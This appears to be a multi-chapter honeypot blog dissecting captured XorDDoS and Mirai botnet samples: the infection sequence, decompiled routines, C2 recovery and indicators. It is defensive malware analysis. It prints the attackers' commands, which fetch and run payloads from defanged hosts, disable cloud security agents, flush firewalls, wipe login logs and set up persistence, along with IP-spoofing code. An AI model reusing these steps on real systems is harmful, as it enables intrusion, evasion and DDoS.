[{"body":"A honeypot is a decoy: a machine that pretends to be vulnerable so it gets attacked, letting you see what they try and how. Mine has spent days soaking up the background traffic of the internet — tens of thousands of probes a day, almost all automated and charmless: \"got an open port? left your .env lying around?\". They look and move on. But a well-placed decoy doesn't just count how many knock at the door. Every so often, one gets in — and that's where it gets interesting. This is the dissection of one of those: from the login to the binary, by way of the infection script, which is a small piece of grubby craftsmanship. 01The catch The SSH decoy accepts weak passwords on purpose (that's the whole point). The attacker wasn't a person typing: it was a bot, and its sequence was mechanical and fast. 0.0sConnects to port 22 and tries root : ubnt — \"ubnt\" is the factory password of Ubiquiti gear (for its ubnt account; the bot recycles it against root). The decoy lets it in. 1.2sNo greeting, no poking around. Pastes a shell script of ~50 lines in one go and runs it. 61sSince wget didn't work for it on the decoy, it uploads the binary directly over SFTP — with a random name, skhqwensw — and tries to launch it (/bin/skhqwensw). It fails (the decoy doesn't really execute), but the sample is already mine. Why a gibberish nameThe binary arrives as skhqwensw — random keystrokes. It's not carelessness: every infection uses a different, random name. That way detection rules or blocks by filename are useless, and two infected machines never share the same trace on disk. Cheap but effective evasion — and the reason the hash (which is stable) is the right way to identify it, not the name. From login to disconnect, the whole session: 62 seconds (the last event lands at 61; the hangup, a second later). And that script pasted at second 1 is the heart of everything. Let's go line by line. 02The script, laid bare A single shell command that does the lot: it finds somewhere to install itself, blinds the machine's security, downloads its binary to match the architecture, sabotages the competition and wipes its tracks. I've formatted it so it's readable, but the logic is exactly as it came. AFind a place where it can write and execute Not just any folder will do: plenty of machines mount /tmp as noexec. So it tries several and checks it can actually execute, not just write. stage-A · working dir# try /dev/shm, /tmp, /var/tmp, /home, /root for i in \"/dev/shm\" \"/tmp\" \"/var/tmp\" \"/home\" \"/root\"; do touch \"$i/test_exec\"; chmod +x \"$i/test_exec\" if [ -w \"$i\" ] \u0026\u0026 [ -x \"$i/test_exec\" ]; then wdir=\"$i\"; rm -f \"$i/test_exec\"; break fi done; cd \"$wdir\" || exit 1 BBlind the (Chinese) cloud agents This is where the target gives itself away: it kills the security agents of Alibaba Cloud (aegis/AliYunDun) and Tencent Cloud (YDService/tat_agent). It's going after servers in the Chinese cloud and switching off their monitoring so it can mine/attack without tripping any alarm or the usage alert. stage-B · blind the watchersfor svc in aegis aliyun YDService tat_agent; do systemctl stop $svc; systemctl disable $svc; systemctl mask $svc done chattr -R -i -a /usr/local/aegis/ # strip the immutable flag... chattr -R -i -a /usr/local/qcloud/ # ...so they can be deleted pkill -9 AliYunDun; pkill -9 YDService rm -rf /usr/local/aegis /usr/local/qcloud CDownload the binary to match the architecture It passes uname -m to its own server, which returns the right binary for that CPU (x86, ARM, MIPS…). And it tries six methods in cascade so it doesn't fail — including good and cool, which are its own wget/curl renamed (see stage E). stage-C · arch-aware pullarch=$(uname -m) url=\"hxxp://169.239.130[.]20/new.php?type=${arch}\" # try in order until one fetches the file: wget -q -T 30 \"$url\" -O new.txt || curl -skL -m 30 \"$url\" -o new.txt || good -q -T 30 \"$url\" -O new.txt || # = its renamed wget cool -skL -m 30 \"$url\" -o new.txt || # = its renamed curl python3 -c \"import urllib.request;urllib.request.urlretrieve('$url','new.txt')\" || python -c \"import urllib;urllib.urlretrieve('$url','new.txt')\" chmod +x new.txt setsid \"./new.txt\" \u0026 # setsid = survives the session closing Three nuances to this infection phase: setsid detaches the process from the SSH session, so it stays alive even if the attacker closes the connection; if the file won't start as a binary, it retries it as a script (sh ./new.txt); and when no download method works — as on my decoy, which has no real wget — it has a plan B: push the binary itself over SFTP. That last resort is, ironically, what handed me the sample. Before all this it also checks a \"lock\" (/var/run/gcc.pid): if it's already running, it doesn't reinfect. DPersistence disguised as \"gcc\" To survive reboots it nails down a cron every 3 minutes and installs itself as a boot service. It uses the name gcc as cover — a classic trait of the XorDDoS family. stage-D · persistenceecho '*/3 * * * * root /etc/cron.hourly/gcc.sh' \u0026gt;\u0026gt; /etc/crontab # + copies itself as init.d / rc.d (chkconfig, update-rc.d) ESabotage the competition The cleverest trick in the script: it renames wget→good and curl→cool. From then on, any other botnet that tries wget http://… to infect the same box fails — but this bot keeps downloading with the new names. Territory marked. stage-E · lock out rivalsmv $(which wget) $(dirname $(which wget))/good mv $(which curl) $(dirname $(which curl))/cool FLower the drawbridge and wipe the tracks First it disarms the defense: it stops firewalld/ufw and runs iptables -F (flushes all the rules), so nothing gets in the way of the conversation with the C2. Then it cleans up its access trail. stage-F · anti-forensicssystemctl stop firewalld ufw; iptables -F # the firewall comes down for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do echo \u0026gt; \"$log\" # EMPTIES the file (doesn't delete it) done Each of those three files is a logbook of system access, and wiping them blinds the tools an administrator would use to check \"who's been in?\": /var/log/wtmp — the successful logins (it's what the last command reads). /var/log/btmp — the failed logins (lastb). /var/log/lastlog — each user's most recent access. The fine detail: it uses echo \u0026gt; file, which empties it, instead of rm, which would delete it. Why? Deleting the file would break the record and draw attention; leaving it in place but blank is subtler. After this, an admin's last returns nothing: as if nobody had ever logged in. What this script does not touch is /var/log/auth.log — an oversight of its own that would leave a trace of the SSH. Its blind spot — and my safety netAll this wiping only reaches the logs on the machine itself. And above all, it can't touch what's recorded off the box: my decoy sends every event to a separate store, in real time. So while the bot thought it was erasing its tracks, I already had a copy of everything. Out-of-band logging beats local anti-forensics — it's honestly the most useful lesson of the whole incident. What it says about its authorNone of these lines is brilliant on its own — they're known, copied techniques. But together they reveal someone who knows that noexec /tmp mounts, cloud agents and rival botnets all exist. You don't need to be a genius for this: you just need to know the terrain and assemble it with a bit of craft. 03The specimen The binary it uploaded over SFTP. SPECIMEN 001 · ELF XorDDoS ◈ LIVE · DO NOT RUN TypeELF 32-bit i386 · static · stripped Size114,144 bytes Packedno (UPX ruled out) Compiled withAlpine clang 17.0.6 / LLD 17.0.6 FunctionDDoS bot (HTTP flood) C2encrypted (XOR table) SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 Inside, among the strings, is the whole DNA of a denial-of-service bot: GET/POST HTTP templates for flooding (with a fake Chinese User-Agent), its C2 configuration hidden behind an XOR table, and the gcc.sh persistence paths we already saw in the script. The Alpine + clang fingerprint is uncommon and is useful for grouping future samples from the same author. House ruleThe binary is not published — but the hash is: it's that full SHA-256 from the card above. With it, anyone can identify the sample and look it up on VirusTotal or MalwareBazaar without me having to hand out the critter. Sharing the hash is disclosure; handing out the binary is propagation. The first line of this diary. 04Who was behind it? Only passive intelligence — third-party databases that already know those IPs. At no point is the attacker's machine touched: that would already be crossing to the other side. Two servers touched this catch — the one that did the login and pasted the script, and the one serving the binaries — both on abuse-tolerant \"offshore\" hosting (cheap, disposable VPSes, not innocent victims). And one detail that teaches a lot: the distribution server — the one handing out the binary — is invisible to scan-based reputation feeds (GreyNoise \"hasn't observed it\") — because a server like that doesn't scan: it sits still, serving the critter to whoever comes for it. My honeypot caught it red-handed; the global databases have no idea. Moral: you need several sources. Loose end · to be continuedOne piece is left unopened: the DDoS bot's C2 lives inside the binary, but encrypted with that XOR table — and it hasn't fallen to the quick methods. Recovering it is proper reverse engineering now: opening the ELF with Ghidra, locating the routine that decrypts it and pulling out the algorithm. That deserves a chapter of its own — how you recover a hidden configuration, for defensive ends and without touching the attack side. I'll gut it in the next installment. 05Indicators (IOCs) Indicators from this catch — ready to block, hunt or report. TypeValue SHA-2566f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 Distributionhxxp://169.239.130[.]20/new.php Credentialroot : ubnt (Ubiquiti factory password) Persistence/etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3 Renamedwget→good · curl→cool Build fingerprintAlpine clang 17.0.6 / LLD 17.0.6 To be continued — this critter's C2 is still encrypted inside the binary; I gut it with Ghidra in the next installment. And the decoy stays lit, waiting for the next one. 🍯","date":"2026-08","fam":"XorDDoS","n":1,"spec":"XorDDoS","sum":"I keep a honeypot in some corner of the network. Most of it is noise: scanners that look and leave. Until one got in, decided it was the administrator, and pushed its critter up through the service door.","t":"Someone brought their malware to my house","tags":["honeypot","DDoS","Cowrie","static analysis"],"tipo":"Botnet (DDoS)","url":"/en/chapter-1/"},{"body":"In Chapter 1 a loose thread was left dangling: the bot carries its C2 hidden inside the binary, encrypted with an XOR table, and the quick methods didn't crack it. Today I open it with Ghidra — and it comes out whole. Recovering a hidden config to pull out IOCs and be able to defend yourself has nothing to do with rebuilding the weapon: the DDoS side stays untouched. What I'm after is who the critter calls home to. But opening it up looking for that, everything else it carries turned up — and it turned out to be far more interesting than a list of domains. 01The binary on the table I loaded the sample into Ghidra (headless, no GUI; I opened the GUI afterwards just for the screenshot further down) and let it auto-analyze. The clue for finding the decryptor came from a plain strings run over the binary: amid the junk, the string BB2FA36AAA9541F0 and a hex table 0123456789ABCDEF showed up repeatedly. All you have to do is ask Ghidra who references that data to land on the routine that uses it: FUN_00015d00 — short, with a loop and XOR operations. That's our man. 02The decryption routine The short version, for anyone who'd rather not wade into the mud: it's a repeating 16-byte XOR key, and the key was in plain sight the whole time — the config's own zero padding was ratting it out in the strings. With that, decrypting is a one-liner. The gutting, for whoever wants it: The routine in Ghidra, byte by bytedisassembly Here's the heart of FUN_00015d00 as it looks in the decompiler (trimmed to the essentials): ghidra · FUN_00015d00 (decompiled)do { *pbVar4 = *pbVar4 ^ (\u0026DAT_00011070)[uVar5 \u0026amp; 0xf]; pbVar4[1] = pbVar4[1] ^ (\u0026DAT_00011070)[uVar5 + 1 \u0026amp; 0xf]; pbVar4[2] = pbVar4[2] ^ (\u0026DAT_00011070)[uVar5 + 2 \u0026amp; 0xf]; pbVar4[3] = pbVar4[3] ^ (\u0026DAT_00011070)[uVar5 + 3 \u0026amp; 0xf]; uVar5 = uVar5 + 4; pbVar4 = pbVar4 + 4; } while (param_2 != uVar5); // param_2 = length The routine, in Ghidra. On the left, the x86 assembly exactly as it sits in the binary; on the right, that same code translated into C. There are the ^ *pbVar3 of the XOR loop, the DAT_00011070 pointing at the key, and the constants 0x4136334146324242 and 0x3046313435394141 — which, read as ASCII bytes, spell out letter by letter BB2FA36AAA9541F0. The key was in plain sight: plain ASCII text, only the disassembly shows each 8-byte immediate backwards, in little-endian order. You can read it at a glance: XOR each byte with a key indexed by position \u0026amp; 0xf — a repeating 16-byte key, stored in DAT_00011070. The \"aha\" that had me thrown offThe key turned out to be the ASCII characters of \"BB2FA36AAA9541F0\" (bytes 42 42 32 46 41 33 36 41…), not the decoded hex bytes. And that's why the padding gave it away: the config carries zero padding, and zero XOR key = key. That's why BB2FA36AAA9541F0 showed up repeated in the strings — it was the padding ratting out the key. 03The config laid bare I replicate the algorithm (read the key, XOR with index pos % 16) and apply it to the config data. Out it comes, clean: decrypted config# C2 servers (with failover), port 1529 telemetry-pipe.sh:1529 | api-metadata-v6.is:1529 | sys-kernel-update.to:1529 # config / update URL https://api-metadata-v6.is/config.rar Three C2 domains on port 1529, separated by | as a fallback list, plus a URL to fetch its config. That was the secret the encryption was guarding. 04The domains' disguise Look at the names — they're no accident. They're picked to look like legitimate infrastructure: telemetry-pipe.sh — sounds like a \"telemetry pipe\", and the .sh TLD (Saint Helena) makes it look like a shell script name. A double disguise. api-metadata-v6.is — looks like a perfectly ordinary internal API endpoint. sys-kernel-update.to — reeks of \"system updates\", exactly the kind of thing an admin won't look at twice. It's hiding in plain sight: in a connection log, these names don't raise an eyebrow. And the small-country TLDs (.sh, .is, .to) are chosen for availability and less scrutiny. It's the same instinct — dressing up as the system — that we'll watch it apply to itself when it runs on a machine; we'll come back to it. 05Is the infrastructure still alive? Passive OSINT (DNS resolution + third-party databases; I never touch the servers): of the three domains, two are dormant — they don't resolve — and the third, sys-kernel-update.to, points to 141.98.11.51: HostBaltic (AS209605, Lithuania), an abuse-tolerant host. Two dormant and one live is normal for a C2 list with fallbacks: they don't all light up at once. Shodan sees that IP as a Windows server; the actual C2 port, 1529, doesn't show up because it's uncommon and not routinely scanned. A pattern that says a lotEach piece lives on a different offshore host: the loader came in from one provider, the binary was served from another, and the C2 lives on a third. They spread the infrastructure across three abuse providers so that taking one down doesn't bring it all down. Sloppy in execution, but with a certain notion of resilience. One detail from the binary fits right here: it carries two of Google's DNS servers written inside it, 8.8.8.8 and 8.8.4.4. In a critter whose C2 goes by domain, having its own resolvers isn't decoration — it's making sure it can resolve even if the machine's DNS fails or is being watched. And there's a move today's resolution doesn't show, with a practical consequence: that IP wasn't always that one. The name changes number within HostBaltic, without leaving the same ASN. There's the lesson for the catalogue: publish the IP on its own and your indicator expires, leaving whoever copies it blocking an empty address. What holds up is the pair domain + ASN. Changing number within the same provider costs the operator nothing; changing provider doesn't. 06I switched it on, in a cage Everything above comes from reading the binary. But reading tells you what a program knows how to do; switching it on tells you what it does. So I did — in an isolated virtual machine, its network with no way out to anywhere, reverted to a clean snapshot afterwards. On the bait you never do that (it has a public IP, and letting a worm loose would infect third parties); in a sealed cage, you can. The difference is the cage. First thing: it copies itself. One copy goes to /usr/lib/libudev.so — a system library path, a system library name — identical to the sample byte for byte: the same SHA-256 from the specimen card in Chapter 1. Another goes to /usr/bin with a random ten-letter name, and that one no longer has the hash I published. It's the same gibberish-name trick from the first chapter, one notch up: back then it rotated the name on disk, here it rotates the whole file. The hash I gave identifies the file that was uploaded to me; a minute into running on a real machine, what's executing there already has a different one. And then I looked at the process list, and I couldn't find it. There were crond, /usr/sbin/gdm3, rpc.statd, automount, rpc.idmapd and /sbin/audispd. Six of the dullest system daemons going, the kind your eye slides straight past. All six were it. A process carries two names: the one the kernel notes down when it starts it, and the one the program writes into its own argv[0] — the one that shows in the list. And now that I have the binary open, I know how it sets the fake one: it relaunches itself passing the name to impersonate, and on that second start it wipes the command line and writes over it. The disguise mechanism, in the decompilerdisassembly ghidra · the disguise, in three stepsname = argv[1]; // stores the name to impersonate memset(argv[0], 0, ...); // wipes its own name memset(argv[1], 0, ...); // wipes the one it was handed memset(argv[2], 0, ...); // wipes the third // and writes the fake one over argv[0] That's why, if you look at the process memory, you find leftovers like /usr/bin/xqaghzmjom [kthreadd] 19882: the critter calling itself, with the fake name in the middle and, behind it, the number of the process it wants to look like. In the cage I saw it wearing six names, but the code carries eighteen, and twelve are of a kind the six didn't include — kernel threads, those names in square brackets: the eighteen, inside the binarykernel threads [kthreadd] [rcu_gp] [rcu_par_gp] [cryptd] [mld] [scsi_eh_2] [cpuhp/0] [mm_percpu_wq] [ttm_swap] daemons crond automount rpc.statd rpc.idmapd pcscd hald-runner (sd-pam) /usr/sbin/gdm3 /sbin/audispd And that distinction has a consequence. Comparing the name a process claims with the file its /proc/\u0026lt;pid\u0026gt;/exe points at doesn't work as a general rule: a critter that changes both names slips underneath it, and there's one in this very log. But against these twelve it does work, and there's no arguing: a real kernel thread has no executable. If something claims to be [kthreadd] and its /proc/\u0026lt;pid\u0026gt;/exe resolves to a file in /usr/bin, there's no reading of that which comes out innocent. Against a fake crond it's useless; against a fake square bracket, it's final. 07It looks for itself where it looks for its rivals The same binary has a routine for clearing the competition out of the way: it walks the machine's processes one by one, resolves each one's /proc/\u0026lt;pid\u0026gt;/exe, compares it against what it's hunting, and kills whatever matches. That's how it keeps the machine to itself — the same war between criminals that turns up in half this log, here read in the code, not inferred. Twenty lines further up, in the same function, there's another call to /proc/\u0026lt;pid\u0026gt;/exe. But this one isn't about a rival: it's about itself. The two calls, in the same functiondisassembly ghidra · bot_main// on itself — to find out where its own binary is sprintf(path, \"/proc/%d/exe\", getpid()); readlink(path, ...); // … twenty lines below, on the others — to hunt them down sprintf(path, \"/proc/%d/exe\", other_pid); readlink(path, ...); kill(other_pid, 9); And it's not that it fancies asking after itself: it has no choice. It has just wiped its own argv[0] to put the disguise on (we saw it in the previous section), and with that it destroyed the normal way a program has of knowing where its file is. So to find itself it has to go to the same place it hunts the others from — and the same place where, if you're paying attention, it gets hunted. It depends on the very trail that betrays it. That's not a figure of speech: it's two calls, in the same function, twenty lines apart. It hides by wiping the one thing that said who it was, and then has to go and ask at the counter where anyone can overhear. 08And it lies about where it comes from So far, a critter that hides. But it does something more, and it's what separates it from any old flooder: it forges its source address. The bait recorded it doing so — a short burst, a couple of seconds, some sixty connections whose return address wasn't its own. Neighbouring addresses, and the distance from the real one wasn't noise: the gap between the fake source and the real one, in arrival order−1 +1 −3 +3 −7 +7 −15 +15 −31 +31 −63 +63 −127 +127 −255 +255 −511 +511 −1023 +1023 −2047 +2047 … … doubling each step, out to the end of the range One less, one more. Three less, three more. Each step double the last, and always symmetrical. A random generator doesn't spit that out: someone is counting. So I went to the binary to see who. It's there — and it isn't a suspicion from the traffic: it's code, and it shows up in two places in the program. But the interesting part is how it's put together: It's optional, and the critter doesn't decide it. There's a flag in its config; if it isn't set, it uses its real address. The command centre fills it in. It's bounded. The operator doesn't tell it \"lie\": it hands it a range, and the critter moves inside it. There's no randomness. The fake address comes out of arithmetic, not a generator — which is why the burst is regular steps and not noise. That fits what the bait recorded right down to the order: the critter talks to its command centre first using its real address, and then starts lying. It wasn't probing anything on its own initiative: it got the order and carried it out. The header and the arithmetic, byte by bytedisassembly To forge the source you have to ask the kernel to let you write the packet header yourself. That's two gestures, and both are in the binary: a raw socket and the IP_HDRINCL option. With that on, the system no longer fills in your address: you do. ghidra · the packet, built by hand// raw socket + \"the header is included\" fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); setsockopt(fd, IPPROTO_IP, IP_HDRINCL, \"1\", 2); // ← it passes the TEXT \"1\", not an integer // and writes the IP header byte by byte: h[0] = 0x45; // version 4, header length 5 h[2..3] = htons(72); // total length h[8] = 128; // TTL h[9] = 17; // protocol = UDP h[12..15] = fake_source; // ← here goes the lie h[16..19] = destination; That \"1\" is a botch that works by the skin of its teeth: it hands over two bytes of text where the kernel expects an integer. The kernel reads something other than zero and turns the option on anyway. And the arithmetic behind the fake source, which is what makes the burst regular: ghidra · where the address comes fromif (cfg.spoof == 1) { // ← the C2's switch size = cfg.range_end - cfg.range_base + 1; source = cfg.range_base + (X % size); // X = value from a table, by counter } else { source = my_real_ip; } Base and end are two fields the operator sends. X comes from a table indexed by a counter — deterministic, no rand(). The mechanism explains why the burst is steps that double; reproducing the exact pattern would take the table and the range the C2 sent that time. And what serves you most if you're defending isn't the mould, it's the signature on the wire: a short burst — tens of packets in two seconds, not thousands — from addresses neighbouring the real one, doubling the distance as they go; and above all, addresses from your own space arriving from outside, which is exactly what a properly placed ingress filter should always drop. The capability is the critter's; the detection is yours. A point of methodTwo things worth keeping apart: the behaviour — the burst — I saw in a capture from the bait; the capability — that it's written into the program — I read in the binary I have open. They're from the same family; I can't guarantee they're the same file down to the byte. I'm saying XorDDoS carries this inside and that it matches what was recorded, not that I disassembled the exact packet that went out over the wire. 09What a cage doesn't tell you One detail that made me think, and it goes without ornament because it's the honest lesson of the chapter. When I switched the critter on in the cage, I saw the disguise, I saw the copies, I saw the persistence. Of the source forgery I saw nothing. And not because it hid: I watched the processes, not the network. I set the observation up to answer \"what does it install, and under what name?\", and to that it answered in full. The other question I never asked. And even if I had, I'd have seen nothing. The cage has no way out — that's what makes it a cage. So the critter never got to talk to its command centre, never received the spoofing flag switched on, and never ran that branch of the code. The capability was dormant by design. A detonation only tells you what you built it to tell you, and on a network with no way out there are whole branches of the program that never get walked. The lie about the source wasn't shown by the cage; it was shown by the code, and confirmed by the bait once the critter had a real command centre on the other end. Neither route, on its own, would have told the whole thing. And the tools don't eitherI ran this binary through an automated capability classifier and it didn't see the raw socket. In a static, stripped binary, a tool failing to find something is no proof that it isn't there. 10Indicators (IOCs) TypeValue C2 (port 1529)telemetry-pipe.sh · api-metadata-v6.is · sys-kernel-update.to Active C2141.98.11.51 (HostBaltic, AS209605, LT) Durable indicatorsys-kernel-update.to + AS209605 — the IP moves around inside the ASN; the domain and the provider don't Config URLhttps://api-metadata-v6.is/config.rar Config encryptionXOR · 16-byte ASCII key \"BB2FA36AAA9541F0\" · idx = pos \u0026amp; 0xf Embedded resolvers8.8.8.8 · 8.8.4.4 Library copy/usr/lib/libudev.so — same SHA-256 as the sample /usr/bin copyrandom ten-letter name — SHA-256 different from the sample's Impersonated processes (18)[kthreadd] · [rcu_gp] · [rcu_par_gp] · [cryptd] · [mld] · [scsi_eh_2] · [cpuhp/0] · [mm_percpu_wq] · [ttm_swap] · crond · automount · rpc.statd · rpc.idmapd · pcscd · hald-runner · (sd-pam) · /usr/sbin/gdm3 · /sbin/audispd The check that does worka process with a name in square brackets whose /proc/\u0026lt;pid\u0026gt;/exe resolves to a file — a genuine kernel thread has no executable. Square brackets only Spoofing capabilitysource IP forgery — optional, switched on by the C2, bounded to a range set by the operator and computed without randomness How it looks on the wireshort burst (tens of packets in two seconds) from addresses neighbouring the real one in symmetrical doubling steps · and addresses from your own space arriving from outside (an ingress filter should drop those) And that ties off the loose thread from Chapter 1 — the C2 was there, encrypted, and now it's on the table — and with it the whole critter: how it hides, how it hunts, and how it lies. Told without cuts: the capability, how it works and how it's detected. What doesn't get handed out isn't the analysis, it's the weapon — the binary and the exploit for the entry vector; that stays out. The rest is here. To be continued — the bait is still lit. There's one thing left for me to read in this critter: when it's told to forge, it's given a range. The range decides who gets the blame. That isn't in the binary — the C2 tells it over the wire, and that conversation I still can't read. 🍯","date":"2026-08","fam":"XorDDoS","n":2,"spec":"XorDDoS","sum":"In Chapter 1 the C2 stayed encrypted inside the binary. Here I open it with Ghidra and it comes out whole — but on the way, everything else this critter carries turns up too: how it disguises itself as a system process, how it kills the competition using the very trail that gives it away, and how it lies about its own address when its command centre tells it to.","t":"Cracking XorDDoS open with Ghidra","tags":["Ghidra","reverse engineering","C2","XOR","spoofing","static analysis"],"tipo":"Botnet (DDoS)","url":"/en/chapter-2/"},{"body":"A new family in the trap. After the two chapters on XorDDoS, this time a Mirai came in — the other great lineage of IoT botnets. The infection sequence is a sibling of the last one, but with a twist: the attacker left the source code of his own server out in the open. An OPSEC gift you don't turn down. This chapter is the hunt: how it got in, what it dropped, and what I found when I pulled the thread all the way back to its delivery box. The teardown of the binary — the bot itself — is in Chapter 4. 01The catch A bot again, not a person. It came in by brute force and acted in under a second, without poking around. The three steps below carry the same timestamp: they all happened within the same tenth of a second. That's the giveaway — no hand types three commands in a hundred milliseconds. 0.0sComes in over SSH with a dictionary credential (root). The trap opens up for it. ↳Fingerprints the architecture: fires off uname -s -v -n -m and peeks at /proc/version and /etc/os-release. It needs to know what CPU the victim has. ↳cd /tmp → downloads a script called ok (wget and curl, in case one fails) → sh ok → rm -rf ok ok.1. The recon, with a safety netThe uname command came wrapped in a one-liner that tries uname, /bin/uname, busybox uname and, if nothing answers, falls back to reading /proc/version. It takes nothing for granted: it wants the architecture no matter what, because which of its binaries to run depends on it. That ok is a loader: it isn't the bot, it's what brings the bot in. I captured it whole. 02The loader, laid bare Twelve lines, identical except for a name. Each one downloads a binary, gives it permissions, runs it with an argument (bc) and deletes it: ok · multi-architecture loader# (12 lines, one per CPU architecture) wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5 chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1 # ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce... Three things worth saying about this piece: It tries all 12 architectures. It fires off all twelve binaries; only the one that matches the victim's CPU runs, the rest fail silently. Covering ARM, MIPS, x86, PowerPC, SPARC… is how one and the same bot infects everything from a camera to a server. Rotating names. Every time ok is requested, it brings different filenames (6 random hex chars). Like the gibberish from Chapter 1, but taken to the server: blocking by name is useless. The bc tag. The argument each binary is run with is the campaign identifier the bot will report back to its control server — it tells it which campaign it came from. The wget and the curl on the same line are a belt-and-braces move: if the box doesn't have one, it has the other. And the .1 in the deletion cleans up the duplicate that curl -O leaves behind when wget has already grabbed the file. Little touches from someone who has watched their script fail on oddball machines. 03The server that left its door open The ok points everything at one server: 5.182.210[.]174. I went to take a look — read-only, touching nothing — and found the root wide open as a directory listing. There were the binaries… and two files that shouldn't have been there: http and http.go. The attacker had left the source code of his own delivery server out in plain sight. It's a FileServer written in Go (its 404 — \"404 page not found\" — is the unmistakable fingerprint of net/http). Short, functional, and with one telling detail: an anti-snooper filter. http.go · the filter (real fragment)// Permite apenas requisições de wget e curl if !strings.HasPrefix(userAgent, \"curl\") \u0026amp;\u0026amp; !strings.HasPrefix(userAgent, \"Wget\") \u0026amp;\u0026amp; !strings.HasPrefix(userAgent, \"axel\") { blockedIPs[clientIP] = time.Now().Add(10 * time.Minute) blockIP(clientIP) // iptables -A INPUT -s IP -j DROP http.Error(w, \"403 Forbidden\", http.StatusForbidden) } It only serves the malware to whoever presents as wget, curl or axel. Anyone else — a browser, a scanner, a researcher — it drops into iptables and bans for 10 minutes. It's a deliberate defense against analysis: they want only their victims to reach the files. And the defense has a hole of its ownLook at how it works out the address it's about to ban: it chops six characters off the right of r.RemoteAddr, which arrives in the form ip:port. That takes for granted that the source port has five digits. When the caller comes out of a four-digit port, the chop eats a digit of the IP as well — and iptables ends up blocking an address that isn't theirs. They wrote a lock against snoopers that, for some of the snoopers, bolts somebody else's door. The author's signatureThe code comments are in Portuguese (\"Adiciona o IP ao iptables para bloqueio\", \"Permite apenas requisições de wget e curl\"). Added to the simplicity of the setup, it points to a Portuguese-speaking operator. It isn't an attribution — it's a clue, the kind you file away in case another piece fits later. The mystery of the rotating namesSince http.go only serves static files, it can't be the one inventing the names. There must be another process on the box regenerating ok in a loop: it creates 12 random names, copies the binaries to those names, rewrites ok and a few seconds later deletes them. That's why the script's names kept expiring — but the \"master\" names in the directory listing were still there, and through them I walked off with the complete collection. 04The specimen Twelve binaries, one per architecture, the typical size of an IoT bot. I wrote here that they were all static, stripped ELFs, no symbols. Ten of them are. Two aren't. I found out going back over the batch with a file — which is the first thing you should do, and which I'd done on three binaries instead of on all twelve. One of them, 44,744 bytes, isn't static: it's dynamically linked against uClibc, so it depends on finding its libraries on whatever machine it lands. The other weighs 123,851 bytes, more than double its siblings, and for a specific reason: it isn't stripped. It still carries the debug information the rest had taken out. And here's the part that stings, because the evidence was published from day one: the card just below says 44 KB – 124 KB. Those two ends are exactly those two binaries. The range I published myself was already saying the batch wasn't uniform. It just needed reading. That one slipped through half-cleaned is an oversight on their part. And it handed me the best thing in this chapter. A binary that hasn't been stripped keeps the paths of the machine it was built on. These: paths inside the uncleaned binary/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm /home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/include Aboriginal Linux is a set of cross-compilers by Rob Landley — and it's exactly the one that shipped with the Mirai source code when it leaked in 2016. That isn't an antivirus label or a string coincidence: it's the mark of the workshop where this batch was made, and it comes straight out of the binary. Two oversights of theirs and one of mineThis attacker had already left the directory listing open, and their entire source code with it — that's what the previous section is about. This is the second one: an uncleaned binary in a batch of twelve. And mine comes right after, because I took them all for identical without checking them one by one. SPECIMEN 002 · ELF ×12 Mirai · \"milnetv4\" variant ◈ LIVE · DO NOT RUN TypeELF · 10 static and stripped · 1 dynamic (uClibc) · 1 with symbols · 12 architectures Size44 KB – 124 KB Packingnone (UPX ruled out) FunctionDDoS bot (multi-vector, C2-driven) C2kappadocia.net / 141.98.10.50 (in strings; the rest of the config, encrypted) SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 The spread of CPUs covered — the whole reason the multi-architecture loader exists: ArchitectureSizeSHA-256 x86-6450,176 Bbf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 ARM52,496 B8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63 MIPS (BE)67,496 B5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32 MIPS (LE)68,632 Ba75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123 PowerPC50,092 B9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3 SPARC54,596 Babda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488 Motorola m68k50,780 B3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e Renesas SH46,288 B41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04 (The table lists one representative per CPU family: eight rows for the twelve binaries. The extra variants —some architectures, like ARM, come in several— are left out, though the size range in the spec sheet covers them all.) In their strings, the C2 already shows up in the clear (kappadocia.net, 141.98.10.50) — but the rest of its configuration and all its orders are encrypted. That's the job for the next chapter. House ruleThe binaries are not published; the hashes are. With those SHA-256s anyone can identify the samples on VirusTotal or MalwareBazaar without me handing out the critter. Sharing the hash is disclosure; handing out the binary is propagation. 05Indicators (IOCs) TypeValue Attacker IP (loader)45.198.224.26 Delivery serverhxxp://5.182.210[.]174 (Go FileServer) Bot C2kappadocia.net · 141.98.10.50 Campaign identifier\"bc\" argument Server filteronly UA curl / Wget / axel · rest → iptables DROP 10 min SHA-256 (x86-64)bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 To be continued — the bot keeps its C2 and its orders under lock and key. In Chapter 4 I crack it open with Ghidra: the decryption, the botnet's real name and its full arsenal. 🍯","date":"2026-08","fam":"Mirai","n":3,"spec":"Mirai (milnetv4)","sum":"Another one walks in and drops its critter. But this one left a door open on its own delivery server — and inside was the source code. A multi-architecture Mirai, caught red-handed.","t":"The botnet that left its code out in the open","tags":["honeypot","DDoS","Cowrie","IoT","static analysis"],"tipo":"Botnet (DDoS)","url":"/en/chapter-3/"},{"body":"In Chapter 3 I caught a multi-architecture Mirai and walked off with all twelve binaries. Their strings already showed the C2 in the clear, but the rest of the configuration and every one of its orders were encrypted. 